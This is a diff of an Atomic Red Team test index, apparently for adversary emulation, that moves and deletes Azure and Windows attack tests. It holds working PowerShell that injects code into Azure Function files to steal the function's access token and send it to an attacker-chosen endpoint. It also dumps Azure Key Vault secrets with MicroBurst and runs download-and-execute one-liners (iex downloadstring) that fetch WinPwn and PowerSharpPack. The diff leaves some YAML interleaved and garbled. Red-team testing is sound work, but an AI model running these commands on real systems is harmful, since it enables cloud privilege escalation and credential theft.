description: Path to the function code file to upload as blob
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else { \n $connectionString = az storage account
show-connection-string --name \"#{storage_account_name}\" --query connectionString
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + \"#{blob_name}\")\n
\ az storage blob download --connection-string $connectionString --container-name
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
blob version if download of existing blob succeeded\n az storage
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}\n"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
- name: Azure - Functions code upload - Functions code injection via File Share
modification to retrieve the Functions identity access token
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
description: "This test injects code into an Azure Function (RCE) to perform
Subscription Privilege Escalation by retrieving the identity access token
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
executed, the \"https://changeme\" will retrieve the access token when the
function app is executed on behalf of the tenant. The function may be triggered
manually from authorized people, triggered in regular intervals, or in various
other ways. The access token can then be used to perform further attack steps
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
\n- The Azure Function modified in this test must be hosted via Azure Files
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
For Function code upload to Azure Functions that are hosted via Azure Blob
storage, refer to T1550.001 \"Azure - Functions code upload - Functions code
injection via Blob upload\".\n- The required input fields can be retrieved
in a reconnaissance step in test T1619 \"Azure - Enumerate Storage Account
Objects via Key-based authentication using Azure CLI\". The code of function
apps may be inspected and prepared from the result of test T1530 \"Azure -
Dump Azure Storage Account Objects via Azure CLI\".\n- Important: Change the
https://changeme.net in code_to_insert_path to a self-controlled endpoint.
This endpoint can be hosted e.g. as request bin via Pipedream to display the
body of incoming POST requests.\n- The default injected code to retrieve the
access token can be replaced by arbitrary other code. In this case: Replace
the code defined in code_to_insert_path\n\nRequirements:\n- The test is intended
to be executed in interactive mode (with -Interactive parameter) in order
to complete the az login command when MFA is required.\n- The EntraID user
must have the role \"Storage Account Contributor\", or a role with similar
permissions.\n\nExecution options: Defined by the input field execution_option\n-
insert_code: This option (1) downloads the existing funciton code into a tmp
file, (2) injects the code from code_to_insert_path at the beginning of the
file, and (3) uploads the tampered file to the targeted Azure Function code
(Azure File Share File).\n- replace_file: This option uploads the function
code defined in code_to_insert_path to the targeted Azure Function code (Azure
File Share File)."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
execution_option:
type: string
default: insert_code
description: Chooses execution option insert_code, or replace_file
file_share_name:
type: string
default: file_share_name_example
description: Name of the file share that is related to the Function
file_path:
type: path
default: site/wwwroot/function_app.py
description: Path to the Function file in the file share
code_to_insert_path:
type: path
default: "$PathToAtomicsFolder/T1550.001/src/code_to_insert.py"
description: The code that will be injected into the Function
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + $tmpOriginalFileName)\n
\ az storage file download --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
Upload new funciton code if download of existing code succeeded\n if
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
file from file share for injection\n $tmpFunctionCode = Join-Path
$env:temp/ (\"T1550.001_tmp_to_inject_\" + $tmpOriginalFileName)\n az
storage file download --account-name \"#{storage_account_name}\" --share-name
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code download failed.\"\n exit 1\n }\n
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
-Raw # Load the content of the insert file\n \n $content
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
\ $content | Set-Content -Path $tmpFunctionCode # Write
the modified content to the file\n \n # Upload file
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code upload failed.\"\n exit 1\n }\n
\ Write-Output \"Uploaded the tampered file\"\n } elseif
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
code upload failed.\"\n exit 1\n }\n Write-Output
\"Uploaded the tampered file\"\n } else {\n Write-Output
\"Please choose a valid execution_option\"\n exit 1\n }\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
credential-access:
T1557:
technique:
@@ -100142,220 +100184,75 @@ credential-access:
- 'User Account: User Account Modification'
identifier: T1528
atomic_tests:
- name: Azure - Functions code upload - Functions code injection via Blob upload
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
description: "This test injects code into an Azure Function (RCE).\n\nAttack
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
to T1528 \"Azure - Functions code upload - Functions code injection to retrieve
the Functions identity access token\", the depicted code injection scenario
tampers the source code of Azure Functions to perform Subscription Privilege
Escalation by retrieving the identity access token of an Azure functions instance.
In this case, the prepared zip file (underlying package for a Function) is
expected to contain the tampered function presented in src/code_to_insert.py.
Note that the endpoint https://changeme.net needs to be adapted in your packed
function code.\n\nNote:\n- The Azure Function modified in this test must be
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
\n- For Function code upload to Azure Functions that are hosted via Azure
Files in a File Share, refer to T1528 \"Azure - Functions code upload - Functions
code injection to retrieve the Functions identity access token\".\n- The required
input fields can be retrieved in a reconnaissance step in test T1619 \"Azure
- Enumerate Storage Account Objects via Key-based authentication using Azure
CLI\". The code of function apps may be inspected and prepared from the result
of test T1530 \"Azure - Dump Azure Storage Account Objects via Azure CLI\".\n\nRequirements:\n-
The test is intended to be executed in interactive mode (with -Interactive
parameter) in order to complete the az login command when MFA is required.\n-
The EntraID user must have the role \"Storage Account Contributor\", or a
role with similar permissions."
- name: Azure - Dump All Azure Key Vaults with Microburst
auto_generated_guid: 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
description: |-
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
username:
description: Azure AD username
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
container_name:
default:
password:
description: Azure AD password
type: string
default: container_name_example
description: Name of the container that contains the function blob
blob_name:
default: T1082Az
output_file:
description: File to dump results to
type: string
default: blob_example
description: Name of the function blob
file_path_blob:
type: path
default: "$env:temp/T1528_function_code.zip"
description: Path to the function code file to upload as blob
default: "$env:temp\\T1528Test1.txt"
subscription_id:
description: Azure subscription id to search
type: string
default:
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
- description: 'The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit
0} else {exit 1}
'
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
- description: 'The Azure RM module must be installed.
'
prereq_command: 'try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else { \n $connectionString = az storage account
show-connection-string --name \"#{storage_account_name}\" --query connectionString
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1528_tmp_original_\" + \"#{blob_name}\")\n az
storage blob download --connection-string $connectionString --container-name
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
blob version if download of existing blob succeeded\n az storage
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}\n"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
'
get_prereq_command: 'Install-Module -Name AzureRM -Force -allowclobber
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
'
- description: 'The Azure module must be installed.
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
- name: Azure - Functions code upload - Functions code injection via File Share
modification to retrieve the Functions identity access token
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
description: "This test injects code into an Azure Function (RCE) to perform
Subscription Privilege Escalation by retrieving the identity access token
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
executed, the \"https://changeme\" will retrieve the access token when the
function app is executed on behalf of the tenant. The function may be triggered
manually from authorized people, triggered in regular intervals, or in various
other ways. The access token can then be used to perform further attack steps
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
\n- The Azure Function modified in this test must be hosted via Azure Files
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
For Function code upload to Azure Functions that are hosted via Azure Blob
storage, refer to T1528 \"Azure - Functions code upload - Functions code injection
via Blob upload\".\n- The required input fields can be retrieved in a reconnaissance
step in test T1619 \"Azure - Enumerate Storage Account Objects via Key-based
authentication using Azure CLI\". The code of function apps may be inspected
and prepared from the result of test T1530 \"Azure - Dump Azure Storage Account
Objects via Azure CLI\".\n- Important: Change the https://changeme.net in
code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted
e.g. as request bin via Pipedream to display the body of incoming POST requests.\n-
The default injected code to retrieve the access token can be replaced by
arbitrary other code. In this case: Replace the code defined in code_to_insert_path\n\nRequirements:\n-
The test is intended to be executed in interactive mode (with -Interactive
parameter) in order to complete the az login command when MFA is required.\n-
The EntraID user must have the role \"Storage Account Contributor\", or a
role with similar permissions.\n\nExecution options: Defined by the input
field execution_option\n- insert_code: This option (1) downloads the existing
funciton code into a tmp file, (2) injects the code from code_to_insert_path
at the beginning of the file, and (3) uploads the tampered file to the targeted
Azure Function code (Azure File Share File).\n- replace_file: This option
uploads the function code defined in code_to_insert_path to the targeted Azure
Function code (Azure File Share File)."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
execution_option:
type: string
default: insert_code
description: Chooses execution option insert_code, or replace_file
file_share_name:
type: string
default: file_share_name_example
description: Name of the file share that is related to the Function
file_path:
type: path
default: site/wwwroot/function_app.py
description: Path to the Function file in the file share
code_to_insert_path:
type: path
default: "$PathToAtomicsFolder/T1528/src/code_to_insert.py"
description: The code that will be injected into the Function
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
'
prereq_command: 'try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
'
get_prereq_command: 'Install-Module -Name Azure -Force -allowclobber
'
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1528_tmp_original_\" + $tmpOriginalFileName)\n
\ az storage file download --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
Upload new funciton code if download of existing code succeeded\n if
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
file from file share for injection\n $tmpFunctionCode = Join-Path
$env:temp/ (\"T1528_tmp_to_inject_\" + $tmpOriginalFileName)\n az
storage file download --account-name \"#{storage_account_name}\" --share-name
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code download failed.\"\n exit 1\n }\n
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
-Raw # Load the content of the insert file\n \n $content
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
\ $content | Set-Content -Path $tmpFunctionCode # Write
the modified content to the file\n \n # Upload file
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code upload failed.\"\n exit 1\n }\n
\ Write-Output \"Uploaded the tampered file\"\n } elseif
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
code upload failed.\"\n exit 1\n }\n Write-Output
\"Uploaded the tampered file\"\n } else {\n Write-Output
\"Please choose a valid execution_option\"\n exit 1\n }\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}"
cleanup_command: |-
az login # Log in to Azure CLI
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
cleanup_command: 'remove-item #{output_file} -force -erroraction silentlycontinue
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
'
name: powershell
elevation_required: false
elevation_required: true
T1552.006:
technique:
type: attack-pattern
@@ -101741,7 +101638,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -101777,77 +101674,7 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests:
- name: Azure - Dump All Azure Key Vaults with Microburst
auto_generated_guid: 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
description: |-
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
supported_platforms:
- iaas:azure
input_arguments:
username:
description: Azure AD username
type: string
default:
password:
description: Azure AD password
type: string
default: T1082Az
output_file:
description: File to dump results to
type: string
default: "$env:temp\\T1528Test1.txt"
subscription_id:
description: Azure subscription id to search
type: string
default:
dependency_executor_name: powershell
dependencies:
- description: 'The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit
0} else {exit 1}
'
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
- description: 'The Azure RM module must be installed.
'
prereq_command: 'try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
'
get_prereq_command: 'Install-Module -Name AzureRM -Force -allowclobber
'
- description: 'The Azure module must be installed.
'
prereq_command: 'try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
'
get_prereq_command: 'Install-Module -Name Azure -Force -allowclobber
'
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
cleanup_command: 'remove-item #{output_file} -force -erroraction silentlycontinue
'
name: powershell
elevation_required: true
atomic_tests: []
T1003.008:
technique:
type: attack-pattern
@@ -105882,10 +105709,10 @@ discovery:
- windows
executor:
command: |
net groups "Account Operators" /domain
net groups "Exchange Organization Management" /domain
net group "BUILTIN\Backup Operators" /domain
net group "Domain Admins" /domain
net groups "Account Operators" /doma
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma
net group /domai "Domain Admins"
name: command_prompt
- name: Find machines where user has local admin access (PowerView)
auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1
@@ -107638,7 +107465,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput
name: powershell
@@ -107650,7 +107476,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput
name: powershell
@@ -107661,7 +107486,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput
cleanup_command: |-
@@ -107678,7 +107502,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput
name: powershell
@@ -107690,7 +107513,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive
name: powershell
@@ -107702,7 +107524,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput
name: powershell
@@ -107714,7 +107535,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive
name: powershell
@@ -107726,7 +107546,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson
name: powershell
@@ -107738,7 +107557,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"
name: powershell
@@ -107752,7 +107570,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"
name: powershell
@@ -109857,18 +109674,6 @@ discovery:
'
name: command_prompt
elevation_required: false
- name: Identifying Network Shares - Linux
auto_generated_guid: 361fe49d-0c19-46ec-a483-ccb92d38e88e
description: |
If the system uses network file systems (e.g., NFS, CIFS), findmnt can help locate paths to remote shares.
Attackers may then attempt to access these shares for lateral movement or data exfiltration.
supported_platforms:
- linux
executor:
command: 'findmnt -t nfs
'
name: sh
T1049:
technique:
type: attack-pattern
@@ -110285,99 +110090,6 @@ discovery:
Write-Output "Removed #{output_file}"
name: powershell
elevation_required: false
- name: Azure - Scan for Anonymous Access to Azure Storage (Powershell)
auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0
description: "Upon successful execution, this test will test for anonymous access
to Azure storage containers by invoking a web request and outputting the results
to a file. \nThe corresponding response could then be interpreted to determine
whether or not the resource/container exists, as well as other information.
\nSee https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
\ \n"
supported_platforms:
- iaas:azure
input_arguments:
base_name:
description: Azure storage account name to test
type: string
default: T1619Test2
output_file:
description: File to output results to
type: string
default: "$env:temp\\T1619Test2.txt"
container_name:
description: Container name to search for (optional)
type: string
default:
blob_name:
description: Blob name to search for (optional)
type: string
default:
executor:
command: |
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue
'
name: powershell
- name: Azure - Enumerate Azure Blobs with MicroBurst
auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590
description: "Upon successful execution, this test will utilize a wordlist to
enumerate the public facing containers and blobs of a specified Azure storage
account. \nSee https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/
. \n"
supported_platforms:
- iaas:azure
input_arguments:
base:
description: Azure blob keyword to enumerate (Example, storage account name)
type: string
default: secure
output_file:
description: File to output results to
type: string
default: "$env:temp\\T1619Test1.txt"
wordlist:
description: File path to keywords for search permutations
type: string
default: PathToAtomicsFolder\..\ExternalPayloads\permutations.txt
dependency_executor_name: powershell
dependencies:
